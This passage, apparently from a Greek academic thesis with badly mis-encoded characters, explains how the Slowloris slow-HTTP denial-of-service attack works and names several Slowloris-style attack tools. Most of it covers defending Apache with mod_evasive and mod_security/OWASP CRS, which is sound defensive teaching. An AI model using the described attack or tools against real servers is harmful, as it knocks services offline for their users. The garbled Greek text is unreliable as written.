Σν πξόγξακκα νλνκάζηεθε έηζη από ηα αξγά lories πνπ είλαη κηα νκάδα πηζήθσλ πνπ 

είλαη γλσζηά γηα ηηο αξγέο θηλήζεηο ηνπο [15]. 

 

Εικόνα 10. Οπηικοποίηζη Slowloris DDoS επίθεζηρ 
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2.3 ΢ε πνηνπο Web Servers επηδξά ε επίζεζε Slowloris 

Σν παξαθάησ πεξηιακβάλεη αιιά δελ πεξηνξίδεηαη κόλν ζηνπο αθόινπζνπο web 

servers: 

 Apache 1.x θαη 2.x 

 dhttpd 

 Websense "block pages" (κε επηβεβαησκέλν) 

 Trapeze Wireless Web Portal (κε επηβεβαησκέλν) 

 Verizon's MI424-WR FIOS Cable modem (κε επηβεβαησκέλν) 

 Verizon's Motorola Set-top box (port 8082 θαη απαηηεί απζεληηθνπνίεζε - κε 

επηβεβαησκέλν) 

 BeeWare WAF (κε επηβεβαησκέλν) 

 Deny All WAF (patched) 

 Flask (development server) 

Δπεηδή ην Slowloris εθκεηαιιεύεηαη ην πξόβιεκα ρεηξηζκνύ ρηιηάδσλ ζπλδέζεσλ, ε 

επίζεζε έρεη κηθξόηεξε επίδξαζε ζε servers πνπ ρεηξίδνληαη θαιά κεγάιν αξηζκό από 

ζπλδέζεηο. Proxy servers θαη επηηαρπληέο πξνζσξηλήο απνζήθεπζεο (caching) όπσο 

ην Varnish, nginx θαη Squid πξνηείλνληαη ζην λα κεηξηάδνπλ απηό ην είδνο ηεο 

επίζεζεο. Δπηπξνζζέησο, ζπγθεθξηκέλνη servers είλαη πνην αλζεθηηθνί ζε απηήλ ηελ 

επίζεζε από ζρεδηαζκνύ, νη νπνίνη είλαη: Hiawatha, IIS, lighttpd, Cherokee, and 

Cisco CSS [15]. 

 

2.4 Πσο δνπιεύεη ε επίζεζε Slowloris 

Σν Slowloris είλαη κηα επίζεζε επηπέδνπ εθαξκνγήο ε νπνία ιεηηνπξγεί κε ηελ ρξήζε 

κεξηθώλ νινθιεξσκέλσλ αηηεκάησλ HTTP. Η επίζεζε ιεηηνπξγεί κε ην λα αλνίγεη 

connections ζε έλαλ web server ζηόρν θαη κεηά λα ηα θξαηάεη αλνηρηά όζν ην 

δπλαηόλ πεξηζζόηεξν κπνξεί. 

Σν Slowloris δελ είλαη κηα θαηεγνξία επίζεζεο, αιιά αληίζεηα είλαη έλα 

ζπγθεθξηκέλν εξγαιείν επίζεζεο ην νπνίν δεκηνπξγήζεθε ην 2009 από ηνλ RSnake, 

θαη επέηξεπε από 1 κόλν ππνινγηζηή λα ξίμεη ηνλ server κε πνιύ ρακειό bandwidth. 

΢ε αληίζεζε κε ηηο επηζέζεηο DDoS πνπ βαζίδνληαη ζηελ αληαλάθιαζε DDoS 

επηζέζεσλ όπσο ηελ NTP επίζεζε (NTP amplification DDoS attack), απηνύ ηνπ 

είδνπο ε επίζεζε ρξεζηκνπνηεί ρακειό πνζνζηό εύξνπο δώλεο θαη αληίζεηα ζηνρεύεη  
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ζηε ρξήζε πόξσλ ηνπ server κε requests ηα νπνία θαίλνληαη πνην αξγά από ηα 

ζπλεζηζκέλα αιιά κηκνύληαη ηελ θαλνληθή θίλεζε. Απηό πέθηεη ζηελ θαηεγνξία ησλ 

επηζέζεσλ πνπ είλαη γλσζηέο ζαλ επηζέζεηο «ρακειέο θαη αξγέο». Ο server ζηόρνο ζα 

έρεη ζπγθεθξηκέλν αξηζκό από δηαζέζηκα threads γηα λα ρεηξηζηεί ηαπηόρξνλεο 

ζπλδέζεηο. Κάζε server thread ζα πξνζπαζεί λα κείλεη δσληαλό ελώ πεξηκέλεη λα γηα 

ην slow request λα νινθιεξσζεί, ην νπνίν πνηέ δελ ζπκβαίλεη. Όηαλ ζηνλ server 

μεπεξαζηεί ν κέγηζηνο δπλαηόο αξηζκόο από connections, ηόηε θάζε επηπξόζζεην 

connection δελ ζα απαληάηαη θαη απηό ζα έρεη σο απνηέιεζκα λα ζπκβεί άξλεζε 

παξνρήο ππεξεζίαο [20]. Απηό εθκεηαιιεύεηαη ηελ εππάζεηα πνπ έρνπλ νη thread-

based web servers νη νπνίνη πεξηκέλνπλ λα ιάβνπλ ηνπο πιήξεηο HTTP headers πξηλ 

απνδεζκεύζνπλ ηελ αλνηρηή ζύλδεζε. Μηα παξαιιαγή απηήο ηεο εππάζεηαο είλαη ε 

εππάζεηα slow HTTP POST. ΢ηελ επίζεζε slow HTTP POST, ν επηηηζέκελνο νξίδεη 

έλα αξθεηά κεγάιν πνζό από δεδνκέλα γηα λα ζηείιεη ζε έλα HTTP POST request θαη 

ηόηε ηα ζηέιλεη πνιύ αξγά [16]. 

Μηα αλάιπζε ηνπ HTTP GET request βνεζάεη πεξηζζόηεξν ζην πσο θαη γηαηί κηα 

αξγή HTTP DoS επίζεζε είλαη δπλαηή. Έλα πιήξεο HTTP GET request κνηάδεη κε ην 

αθόινπζν: 

GET /index.php HTTP/1.1[CRLF] 

Pragma: no-cache[CRLF] 

Cache-Control: no-cache[CRLF] 

Host: testphp.vulnweb.com[CRLF] 

Connection: Keep-alive[CRLF] 

Accept-Encoding: gzip,deflate[CRLF] 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 

(KHTML, like Gecko)  

  Chrome/28.0.1500.63 Safari/537.36[CRLF] 

Accept: */*[CRLF][CRLF] 

 

Σν CRLF (Carriage Return + Line Feed) είλαη κηα αθνινπζία από κε-εθηππώζηκνπο 

ραξαθηήξεο νη νπνίνη ρξεζηκνπνηνύληαη γηα λα δείμνπλ ην ηέινο ηεο γξακκήο. Όκνηα 

κε ηνπο ζπληάθηεο θεηκέλνπ, έλα HTTP request ρξεζηκνπνηεί ην [CRLF] ζην ηέινο 

ηεο γξακκήο γηα λα μεθηλήζεη κηα λέα γξακκή θαη δπν [CRLF] ζηε ζεηξά γηα λα 

δειώζεη κηα θελή γξακκή. Σν HTTP πξσηόθνιιν νξίδεη κηα θελή γξακκή σο ηνλ 
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ηεξκαηηζκό ηεο θεθαιίδαο. Μηα επίζεζε ηύπνπ slow HTTP DoS ην εθκεηαιιεύεηαη 

απηό κε ζηέιλνληαο πνηέ ηελ γξακκή ηεξκαηηζκνύ γηα ηελ νινθιήξσζε ηνπ HTTP 

header. 

Δλώ κεξηθνί thread-based servers όπσο ν Apache ρξεζηκνπνηεί έλα timeout όηαλ 

πεξηκέλεη γηα κε νινθιεξσκέλα HTTP requests, νξίδεηαη ζε 300 δεπηεξόιεπηα από 

πξνεπηινγή θαη γίλεηαη reset κόιηο ν client ζηείιεη ηα ππόινηπα δεδνκέλα. 

Σέινο ε επίζεζε slow HTTP DoS δελ γίλεηαη αληηιεπηή από ηα ζπζηήκαηα 

αλίρλεπζεο εηζβνιήο (Intrusion Detection Systems - IDS) γηαηί δελ πεξηέρεη 

ιαλζαζκέλα requests. Σν HTTP request ζα θαλεί λόκηκν ζην IDS [16]. 

 

2.4.1 Βήκαηα επίζεζεο Slowloris 

Παξαθάησ πεξηγξάθεηαη πσο πξαγκαηνπνηείηαη κηα slowloris επίζεζε ζε 4 βήκαηα: 

1) Ο επηηηζέκελνο πξώηα αλνίγεη πνιιαπιά connections ζηνλ web server ζηόρν 

ζηέιλνληάο ηνπ πνιιαπιά κεξηθώο νινθιεξσκέλα HTTP request headers. 

2) Ο server ζηόρνο αλνίγεη έλα thread γηα θάζε εηζεξρόκελν request, κε ζθνπό λα 

θιείζεη ην thread κόιηο ε ζύλδεζε νινθιεξσζεί. Γηα λα είλαη πνην 

απνηειεζκαηηθό, αλ κηα ζύλδεζε δηαξθέζεη πνιύ ώξα, ν server ζα ηεξκαηίζεη 

(timeout) ηελ ππεξβνιηθά κεγάιε ζύλδεζε, ειεπζεξώλνληαο ην thread γηα ην 

επόκελν request. 

3) Γηα λα απνηξέςεη ηνλ server ζηόρν από ην λα θάλεη timeout ζηα connections, 

πεξηνδηθά ζηέιλεη κεξηθώο νινθιεξσκέλα request headers ζηνλ ζηόρν γηα λα 

θξαηάεη ην request δσληαλό. Δίλαη ζαλ λα ηνπ ιέεη όηη «Δίκαη αθόκα εδώ! 

Απιά είκαη αξγόο, πεξίκελέ κε» 

4) Ο server ζηόρνο δελ κπνξεί πνηέ λα απειεπζεξώζεη νπνηνδήπνηε από ηηο 

αλνηρηέο κεξηθώο νινθιεξσκέλεο ζπλδέζεηο ελώ πεξηκέλεη ηνλ ηεξκαηηζκό 

ηνπ request. Όηαλ όια ηα δηαζέζηκα threads είλαη ζε ρξήζε, ν server ζα είλαη 

πιένλ αδύλαηνλ λα απαληήζεη ζε επηπξόζζεηα requests ηα νπνία πξνέξρνληαη 

από ηελ θαλνληθή θπθινθνξία, θαη απηό έρεη σο απνηέιεζκα ηελ άξλεζε 

παξνρήο ππεξεζίαο. 

Σν θιεηδί πίζσ από ην Slowloris είλαη ε ηθαλόηεηα λα πξνθαιέζεη πξόβιεκα ζηνλ 

web server κε πνιύ κηθξό εύξνο δώλεο [20]. 
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2.5 Πσο πεξηνξίδεηαη ε επίζεζε Slowloris 

Γηα ηνπο web servers πνπ είλαη επάισηνη ζηελ επίζεζε Slowloris, ππάξρνπλ ηξόπνη λα 

πεξηνξηζηεί κεξηθή από ηελ επίδξαζε. Οη επηινγέο γηα ηνλ πεξηνξηζκό ηεο επίδξαζεο 

ηνπ Slowloris ζε επάισηνπο servers κπνξνύλ λα ρσξηζηνύλ ζε 3 γεληθέο θαηεγνξίεο 

[20]: 

1) Αύξηζη διαθεζιμόηηηαρ ηος server: Η αύμεζε ηνπ κέγηζηνπ αξηζκνύ ησλ 

πειαηώλ πνπ ν server επηηξέπεη αλά πάζα ζηηγκή, ζα απμήζεη ηνλ αξηζκό ησλ 

ζπλδέζεσλ πνπ πξέπεη λα θάλεη ν επηηηζέκελνο πξνηνύ κπνξέζεη λα 

ππεξθνξηώζεη ηνλ server. ΢ηελ πξαγκαηηθόηεηα, έλαο επηηηζέκελνο ίζνο θάλεη 

θιηκάθσζε ηνπ αξηζκνύ ησλ επηζέζεώλ ηνπ γηα λα μεπεξάζεη ηελ 

ρσξεηηθόηεηα (capacity) αλεμάξηεηα από ηηο απμήζεηο. 

2) Οπιζμόρ οπίος ζηα ειζεπσόμενα requests: Σν λα πεξηνξίδεηαη ε πξόζβαζε 

κε βάζε ζπγθεθξηκέλσλ παξαγόλησλ ρξήζεο ζα βνεζήζεη λα πεξηνξηζηεί ε 

Slowloris επίζεζε. Σερληθέο όπσο πεξηνξηζκόο ζην κέγηζην αξηζκό ησλ 

ζπλδέζεσλ πνπ κηα απιή IP δηεύζπλζε κπνξεί λα θάλεη, πεξηνξηζκόο ζηηο 

αξγέο ηαρύηεηεο κεηαθνξάο, θαη πεξηνξίδνληαο ηνλ κέγηζην ρξόλν πνπ έλαο 

πειάηεο (client) επηηξέπεηαη λα κέλεη ζπλδεδεκέλνο είλαη όιεο πξνζεγγίζεηο 

γηα πεξηνξηζκό ηεο απνηειεζκαηηθόηεηαο ησλ ρακειώλ θαη αξγώλ επηζέζεσλ. 

3) Πποζηαζία ςπολογιζηικού νέθοςρ : Σν λα ρξεζηκνπνηεζεί κηα ππεξεζία 

λέθνπο πνπ κπνξεί λα ιεηηνπξγήζεη ζαλ έλαο reverse proxy, πξνζηαηεύεηαη 

έηζη ν απνκαθξπζκέλνο web server. 

΢ε έλαλ Apache web server, κπνξνύλ λα ρξεζηκνπνηεζνύλ έλαο κεγάινο αξηζκόο από 

modules ηα νπνία κπνξνύλ λα κεηώζνπλ ηελ θαηαζηξνθή πνπ κπνξεί λα πξνθιεζεί 

από κηα επίζεζε Slowloris. Πξνηείλνληαη ηα παξαθάησ modules σο κέζν κείσζεο ηεο 

πηζαλόηεηαο επηηπρνύο επίζεζεο Slowloris: 

 mod_limitipconn 

 mod_qos 

 mod_evasive 

 mod security 

 mod_noloris 

 mod_antiloris 
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Από ην Apache 2.2.15, ε Apache θπθινθνξεί ην module mod_reqtimeout σο ηελ 

επίζεκε ιύζε πνπ ππνζηεξίδεηαη από ηνπο πξνγξακκαηηζηέο. 

Άιιεο ηερληθέο πεξηνξηζκνύ πεξηιακβάλνπλ ηελ εγθαηάζηαζε reverse proxies, 

firewalls, load balancers ή content switches. Οη δηαρεηξηζηέο ζα κπνξνύζαλ επίζεο λα 

αιιάμνπλ ηνλ επεξεαδόκελν web server ζε ινγηζκηθό ην νπνίν είλαη αλεπεξέαζην 

από απηήο ηεο κνξθήο επίζεζεο. 

 

2.6 Υξήζε Mod_Evasive γηα άκπλα ελαληίνλ DDoS επηζέζεσλ 

΢ηνλ Apache web server, ην mod_evasive module βνεζά ηνλ server λα κέλεη ελεξγόο 

ηελ ώξα πνπ ιακβάλεη ρώξα κηα επίζεζε. Έλαο θνηλόο ηύπνο επίζεζεο ζηνλ 

θπβεξλνρώξν έξρεηαη κε ηελ κνξθή ηεο Άξλεζεο Παξνρήο Τπεξεζηώλ (Denial of 

Service - DoS), ηεο Καηαλεκεκέλε Άξλεζε Παξνρήο Τπεξεζίαο (Distributed Denial 

of Service - DDoS) ή ηεο σκήο δύλακεο (brute- force) πνπ πξνζπαζεί λα θαηαθιύζεη 

ηελ αζθάιεηά ηνπ server. 

Η θύζε απηώλ ησλ επηζέζεσλ είλαη λα ρξεζηκνπνηνύληαη πνιινί δηαθνξεηηθνί 

ππνινγηζηέο νη νπνίνη θάλνπλ επαλαιακβαλόκελα requests ζηνλ web server καο. 

Απηό πξνθαιεί ζηνλ server καο ηελ εμάληιεζε ηεο ππνινγηζηηθήο ηζρύνο, ηεο 

κλήκεο, ην εύξνο δώλεο ηνπο δηθηύνπ θαη θαηά ζπλέπεηα δελ αληαπνθξίλεηαη [10]. 

 

2.6.1 Σξόπνο ιεηηνπξγίαο ηνπ Apache Mod_Evasive 

Σν mod_evasive Apache utility δνπιεύεη παξαθνινπζώληαο ηα requests πνπ 

εηζέξρνληαη ζηνλ server. Απηό ην εξγαιείν επίζεο βιέπεη ηπρόλ ύπνπηε 

δξαζηεξηόηεηα από κηα IP όπσο: 

 Πνιιαπιά requests γηα ηελ ίδηα ζειίδα ζε έλα δεπηεξόιεπην 

 Πεξηζζόηεξα από 50 ηαπηόρξνλα requests ην δεπηεξόιεπην 

 Σα requests πνπ πξαγκαηνπνηήζεθαλ ελώ κηα IP είλαη πξνζσξηλά ζε καύξε 

ιίζηα. 

Σν module ζηέιλεη έλα 403 error αλ νπνηνδήπνηε από ηα παξαπάλσ ζπκβνύλ. Από 

πξνεπηινγή, επίζεο πεξηιακβάλεη 10 δεπηεξόιεπηα ρξόλν αλακνλήο ζηελ καύξε 

ιίζηα. Αλ κηα IP δηεύζπλζε (πνπ βξίζθεηαη ζηελ καύξε ιίζηα) πξαγκαηνπνηήζεη μαλά 

ην request ζε απηό ην ρξνληθό παξάζπξν ησλ 10 δεπηεξνιέπησλ, ηόηε ν ρξόλνο 

αλακνλήο ηεο απμάλεηαη. 
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Σν mod_evasive βνεζάεη λα ακπλζεί ν web server από απηέο ηνπ είδνπο ηηο επηζέζεηο 

κέζα από ηελ αλίρλεπζε θαη δηαρείξηζε ηνπ δηθηύνπ [10].  

 

2.6.2  Δγθαηάζηαζε θαη Γηακόξθσζε ηνπ Apache Mod_Evasive 

Γηα λα εγθαηαζηήζνπκε ην Apache mod_evasive module ζην Centos ηξέρνπκε ηελ 

παξαθάησ εληνιή γηα λα βάινπκε ην EPEL repository: 

sudo yum install epel-release 

Μεηά εθηεινύκε ην εμήο γηα λα νινθιεξσζεί ε δηαδηθαζία εγθαηάζηαζεο: 

sudo yum install mod_evasive 

 

΢ηε ζπλέρεηα γηα λα εθαξκόζνπκε ηα θαηάιιεια configurations ζην mod_evasive 

module, βξίζθνπκε ην configuration file πνπ ην ειέγρεη ην νπνίν βξίζθεηαη ζην path: 

/etc/httpd/conf.d/mod_evasive.conf 

Αξρηθά βξίζθνπκε ηελ θαηαρώξεζε #DOSEmailNotify        you@yourdomain.com 

θαη αθαηξνύκε ην ζρόιην από κπξνζηά „#‟ θαη βάδνπκε ην δηθό καο email (ην νπνίν 

ειέγρνπκε πεξηνδηθά) γηα λα καο ζηέιλεη ην εξγαιείν ηηο θαηάιιειεο εηδνπνηήζεηο. 

Δπνκέλσο ε παξαπάλσ θαηαρώξεζε γίλεηαη: 

DOSEmailNotify        ch.papadopoulos@ssl-unipi.gr 

 

Σν επόκελν βήκα είλαη λα δεκηνπξγήζνπκε θάθειν γηα ηα logs ηνπ mod_evasive κε 

ρξήζε ησλ παξαθάησ εληνιώλ 

sudo mkdir /var/log/apache/mod_evasive 

sudo chown –R apache:apache /var/log/apache/mod_evasive 

θαη  αθαηξέζνπκε ηα ζρόιηα ζηηο παξαθάησ θαηαρσξήζεηο ηνπ mod_evasive config 

file έηζη ώζηε λα θαίλεηαη σο εμήο: 

<IfModule mod_evasive20.c> 

   DOSHashTableSize 3097 

   DOSPageCount 2 

   DOSSiteCount 50 

   DOSPageInterval 1 

   DOSSiteInterval 1 

   DOSBlockingPeriod 10 

   DOSEmailNotify ch.papadopoulos@ssl-unipi.gr 

mailto:you@yourdomain.com
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   DOSLogDir "/var/log/apache/mod_evasive" 

</IfModule> 

 

Όπνπ ε πεξηγξαθή ησλ παξαπάλσ παξακέηξσλ αλαιύεηαη παξαθάησ: 

 DOSHashTableSize: Απμάλνπκε απηή ηελ παξάκεηξν γηα ηνπο πνην 

πνιπζύρλαζηνπο web servers. Απηό ην configuration δεζκεύεη ρώξν γηα ηελ 

εθηέιεζε ησλ ελεξγώλ ιεηηνπξγηώλ αλαδήηεζεο. Απμάλνληαο απηό ην κέγεζνο 

βειηηώλεη ηελ ηαρύηεηα κε ην θόζηνο θπζηθά ηεο κλήκεο. 

 DOSPageCount: Ο αξηζκόο ησλ requests γηα κηα κεκνλσκέλε ζειίδα πνπ 

ελεξγνπνηεί ηελ καύξε ιίζηα. Απηό νξίδεηαη ζε 2, ην νπνίν είλαη ρακειό (θαη 

επηζεηηθό). Απμάλνπκε απηή ηελ ηηκή γηα λα κεηώζνπκε ηα ςεπδώο-ζεηηθά 

(false-positives). 

 DOSSiteCount: Ο ζπλνιηθόο αξηζκόο ησλ requests γηα ην ίδην site από ηελ ίδηα 

IP δηεύζπλζε. Από πξνεπηινγή, απηό νξίδεηαη ζην 50. Μπνξνύκε λα ην 

απμήζνπκε ζην 100 γηα λα κεηώζνπκε ηα false-positives. 

 DOSPageInterval: Δίλαη ν αξηζκόο ησλ δεπηεξνιέπησλ γηα έλα 

DOSPageCount. Από πξνεπηινγή, απηό νξίδεηαη ζε 1 δεπηεξόιεπην. Απηό 

ζεκαίλεη όηη αλ δελ ην αιιάμνπκε, αλ γίλνπλ 2 requests ζε κηα ζειίδα κέζα ζε 

1 δεπηεξόιεπην, ηόηε πξνζσξηλά ε IP δηεύζπλζε ζα κπεη ζε blacklist. 

 DOSSiteInterval: Όκνηα κε ην DOSPageInterval, απηή ε επηινγή θαζνξίδεη 

ηνλ αξηζκό ησλ δεπηεξνιέπησλ πνπ παξαθνινπζεί ην DOSSiteCount. Από 

πξνεπηινγή, απηό νξίδεηαη ζην 1 δεπηεξόιεπην. Απηό ζεκαίλεη όηη αλ κηα 

απιή IP δηεύζπλζε θάλεη request ζε 50 πόξνπο ηνπ site ζε 1 δεπηεξόιεπην, 

ηόηε κπεη πξνζσξηλά ζε καύξε ιίζηα. 

 DOSBlockingPeriod: Σν πόζν ρξόλν κηα IP δηεύζπλζε κέλεη ζε κηα καύξε 

ιίζηα. Οξίδεηαη ζε 10 δεπηεξόιεπηα από πξνεπηινγή. Μπνξνύκε λα βάινπκε 

εδώ όηη ηηκή ζέινπκε. ΢πλίζηαηαη λα απμάλνπκε απηή ηελ ηηκή γηα λα θξαηάκε 

blocked ηελ ζπγθεθξηκέλε IP δηεύζπλζε γηα πνην κεγάιε ρξνληθή δηάξθεηα.  

 DOSLogDir: Από πξνεπηινγή, απηό νξίδεηαη ζην λα γξάθεη logs ζην path: 

/var/log/mod_evasive. Απηά ηα logs κπνξνύλ λα ειέγρνληαη ζε δεύηεξν ρξόλν 

γηα λα αμηνινγείηαη ε ζπκπεξηθνξά ηνπ client. 

 DOSSystemCommand: Απηή ε επηινγή ζην παξαπάλσ configuration δελ 

πξνζηέζεθε θαζόινπ. Αλ ελεξγνπνηεζεί απηή ε επηινγή επηηξέπεη ζηνλ 
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ρξήζηε λα νξίζεη κηα εληνιή ζπζηήκαηνο ε νπνία λα ηξέμεη κόιηο κηα IP 

δηεύζπλζε κπεη ζηελ καύξε ιίζηα. Μπνξνύκε λα ην ρξεζηκνπνηήζνπκε απηό 

ώζηε λα εθηειείηαη κηα εληνιή θαη λα πξνζζέηεη ηελ IP δηεύζπλζε ζε έλα 

firewall ή ζε έλα IP filter. 

Σέινο ζώδνπκε ην mod_evasive configuration file θαη μαλά θνξηώλνπκε ην Apache 

service κε ρξήζε ηεο παξαθάησ εληνιήο: 

sudo systemctl restart httpd.service 

 

2.7 Υξήζε Mod_Security σο Web Application Firewall 

Σν Mod_security είλαη έλα IDS αλνηρηνύ θώδηθα θαη κεραλή πξόζιεςεο θαη 

ιεηηνπξγεί ζαλ ζπκπιεξσκαηηθό ηείρνο πξνζηαζίαο γηα ηνλ web server. Δπηηξέπεη 

δηαθνξεηηθέο ιεηηνπξγηθόηεηεο όπσο θηιηξάξηζκα, απόθξπςε ηαπηόηεηαο server θαη 

πξνζηαζία ελάληηα ηεο null-byte επίζεζεο. Αθόκα επηηξέπεη ζηνλ δηαρεηξηζηή ηνπ 

web server λα παξαθνινπζεί ηελ θπθινθνξία ζε πξαγκαηηθό ρξόλν, ελώ παξάιιεια 

θόβεη ζπλδέζεηο ππνινγηζηώλ αλ ην module ππνςηαζηεί πηζαλέο brute-force επηζέζεηο 

ζε θσδηθνύο πξόζβαζεο [1] θαη πξνζηαηεύεη από επηζέζεηο όπσο SQL Injection θαη 

Cross-site Scripting κέρξη ηνπιάρηζηνλ λα επηδηνξζσζνύλ από ην ηνπο developers ηεο 

εθαξκνγήο [2].  

Πνην ζπγθεθξηκέλα, γηα λα πξνζηαηέςεη ην Mod_security έλα γεληθό web application, 

ην Core Rules ρξεζηκνπνηεί ηηο παξαθάησ ηερληθέο [4]: 

 HTTP Πξνζηαζία: Δληνπίδεη παξαβηάζεηο ηνπ HTTP πξσηνθόιινπ θαη κηα 

ηνπηθά θαζνξηζκέλε πνιηηηθή πξνζηαζίαο  

 Αλαδεηήζεηο ζε πξαγκαηηθό ρξόλν ζε καύξε ιίζηα: ρξεζηκνπνηεί 3rd party IP 

Reputation 

 Web-based αλίρλεπζε θαθόβνπινπ ινγηζκηθνύ: αλαγλσξίδεη θαθόβνπιν web 

πεξηερόκελν ειέγρνληαο ην API ηεο αζθαιήο πινήγεζεο ηεο Google. 

 Πξνζηαζία HTTP άξλεζεο παξνρήο ππεξεζηώλ: άκπλα ελαληίνλ επηζέζεσλ 

HTTP Flooding θαη Slow HTTP DoS 

 Πξνζηαζία ελάληηα θνηλώλ Web επηζέζεσλ: εληνπηζκόο θνηλήο επίζεζεο 

αζθάιεηαο εθαξκνγώλ ηζηνύ 

 Αλίρλεπζε απηνκαηηζκνύ: αληρλεύεη bots, crawlers, scanners θαη νπνηαδήπνηε 

άιιε θαθόβνπιε επηθαλεηαθή δξαζηεξηόηεηα 
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 Δλζσκάησζε AV Scanning γηα αλεβάζκαηα αξρείσλ: αλαγλσξίδεη ύπνπηα 

αξρεία πξνο αλέβαζκα κέζσ ηεο web εθαξκνγήο 

 Παξαθνινύζεζε επαίζζεησλ δεδνκέλσλ: παξαθνινπζεί ηελ ρξήζε ησλ 

πηζησηηθώλ θαξηώλ θαη κπινθάξεη δηαξξνέο 

 Πξνζηαζία από Trojan: αληρλεύεη πξόζβαζε ζε δνύξεηνπο ίππνπο 

 Πξνζδηνξηζκόο ειαηησκάησλ εθαξκνγήο: εηδνπνηεί ζε πεξηπηώζεηο 

εζθαικέλσλ ξπζκίζεσλ εθαξκνγώλ 

 Δληνπηζκόο ζθαικάησλ θαη απόθξπςε: Μπζηηθώλ κελπκάησλ ζθάικαηνο 

πνπ ζηέιλνληαη από ηνλ server 

2.7.1 Δγθαηάζηαζε ηνπ Mod_Security 

Μπνξνύκε λα εγθαηαζηήζνπκε ην Mod_Security ζε Centos κε ρξήζε ηεο παξαθάησ 

εληνιήο [12]: 

sudo yum update 

sudo yum install epel-release mod_security mod_security_crs 

Όηαλ νινθιεξσζεί ε εγθαηάζηαζε, ζα βξνύκε ην configuration αξρείν 

mod_security.conf  ζην path: /etc/httpd/conf.d όπσο θαίλεηαη ζηελ παξαθάησ εηθόλα: 

 

Εικόνα 11. Mod_security configuration file 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

Γηα λα ειέγμνπκε αλ ην mod_security είλαη ελεξγνπνηεκέλν, αξθεί λα ηξέμνπκε ηελ 

εληνιή [12]: 

sudo httpd -M | grep security 

θαη λα πάξνπκε ην output όπσο θαίλεηαη ζηελ παξαθάησ εηθόλα: 

 

Εικόνα 12. Έλεγσορ οηι ηο mod_security είναι ενεπγοποιημένο 
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2.7.2 Δγθαηάζηαζε ηνπ Core Rule Set (CRS) θαη δηακόξθσζε ηνπ 

Mod_Security 

Αθνύ ε εγθαηάζηαζε ηνπ Mod_Security έρεη νινθιεξσζεί θαη επηβεβαησζεί, ζηε 

ζπλέρεηα ζα εγθαηαζηήζνπκε ην Core Rule Set (CRS) ην νπνίν είλαη έλα set από 

θαλόλεο πνπ παξέρεη ζηνλ web server νδεγίεο γηα ην πώο ζα ζπκπεξηθέξεηαη θάησ 

από ζπγθεθξηκέλεο θαηαζηάζεηο. Η εηαηξία πξνγξακκαηηζηώλ ηνπ mod_security 

παξέρεη έλα δσξεάλ CRS πνπ νλνκάδεηαη OWASP (Open Web Application Security 

Project) ModSecurity CRS θαη κπνξεί λα θαηέβεη θαη λα εγθαηαζηαζεί σο αθνινύζσο 

[11]: 

1. Καηεβάδνπκε ην OWASP CRS ζην παξαθάησ directory πνπ δεκηνπξγνύκε γη‟ 

απηό ην ζθνπό κε ρξήζε ησλ παξαθάησ εληνιώλ: 

sudo mkdir /etc/httpd/crs-rules 

cd /etc/httpd/crs-rules 

sudo wget -c https://github.com/SpiderLabs/owasp-modsecurity-

crs/archive/v3.2.0.tar.gz -O master 

2. Κάλνπκε untar ην CRS αξρείν θαη αιιάδνπκε ην όλνκα ηνπ θαθέινπ κε ηηο 

παξαθάησ εληνιέο: 

sudo tar xzf master 

sudo mv owasp-modsecurity-crs-3.2.0 owasp-modsecurity-crs 

3. Γηα λα εθαξκόζνπκε ηα θαηάιιεια configurations γηα ην mod_security 

εθηεινύκε αξρηθά ηηο παξαθάησ εληνιέο: 

cd owasp-modsecurity-crs/ 

sudo cp crs-setup.conf.example crs-setup.conf 

θαη αλ δελ γίλνληαη include ήδε by default όια ηα .config αξρεία ηόηε γηα λα 

πνύκε ζηνλ Apache server λα ρξεζηκνπνηήζεη απηό ην αξρείν καδί κε ην 

mod_security module, εηζάγνπκε ζην Apache configuration file πνπ βξίζθεηαη 

ζην path: /etc/httpd/conf/httpd.conf ηα παξαθάησ: 

<IfModule security2_module> 

 Include crs-rules/owasp-modsecurity-crs/crs-setup.conf 

 Include crs-rules/owasp-modsecurity-crs/rules/*.conf 

</IfModule> 

4. Σέινο, ζπλίζηαηαη λα θηηάρλνπκε ην δηθό καο configuration file κέζα ζην 

θάθειν /etc/httpd/modsecurity.d όπνπ ζα βάινπκε ηηο δηθέο καο 
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πξνζαξκνζκέλεο νδεγίεο αληί λα επεμεξγαδόκαζηε ηα CRS αξρεία 

θαηεπζείαλ. Με απηό ηνλ ηξόπν κπνξνύκε λα θάλνπκε upgrade ηηο λέεο 

εθδόζεηο ηνπ CRS ρσξίο πξόβιεκα. Γηα λα ην θάλνπκε απηό εθηεινύκε ηηο 

παξαθάησ εληνιέο: 

sudo touch /etc/httpd/modsecurity.d/custom-crs.conf 

θαη κέζα ζε απηό ην αξρείν (custom-crs.conf) γξάθνπκε ηα παξαθάησ: 

<IfModule mod_security2.c> 

 SecRuleEngine On 

 SecRequestBodyAccess On 

 SecResponseBodyAccess On  

 SecResponseBodyMimeType text/plain text/html text/xml 

application/octet-stream  

 SecDataDir /tmp 

</IfModule> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

2.8 Παξόκνην ινγηζκό επίζεζεο Slowloris 

Από ηόηε πνπ θπθινθόξεζε ην Slowloris, πνιιά πξνγξάκκαηα εκθαλίζηεθαλ πνπ 

κηκνύληαη ηελ ιεηηνπξγία ηνπ παξέρνληαο επηπιένλ ιεηηνπξγηθόηεηα ή εθηεινύληαη ζε 

δηαθνξεηηθά πεξηβάιινληα [15]: 

 PyLoris – Μηα protocol-agnostic Python πινπνίεζε πνπ ππνζηεξίδεη Tor θαη 

SOCKS proxies. 

 Slowloris – Μηα Python 3 πινπνίεζε ηνπ Slowloris πνπ ππνζηεξίδεη SOCKS 

proxy. 

 Goloris – Δίλαη ην Slowloris γηα nginx, θαη είλαη γξακκέλν ζε Go. 

 QSlowloris – Μηα εθηειέζηκε κνξθή ηνπ Slowloris ζρεδηαζκέλε λα ηξέρεη ζε 

Windows, έρνληαο έλα Qt γηα front end. 

 Μηα αλώλπκε PHP έθδνζε ε νπνία κπνξεί λα ηξέρεη από έλαλ HTTP server. 
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 SlowHTTPTest – Έλαο εμαηξεηηθά δηακνξθώζηκνο πξνζνκνησηήο αξγήο 

επίζεζεο, γξακκέλν ζε C++. 

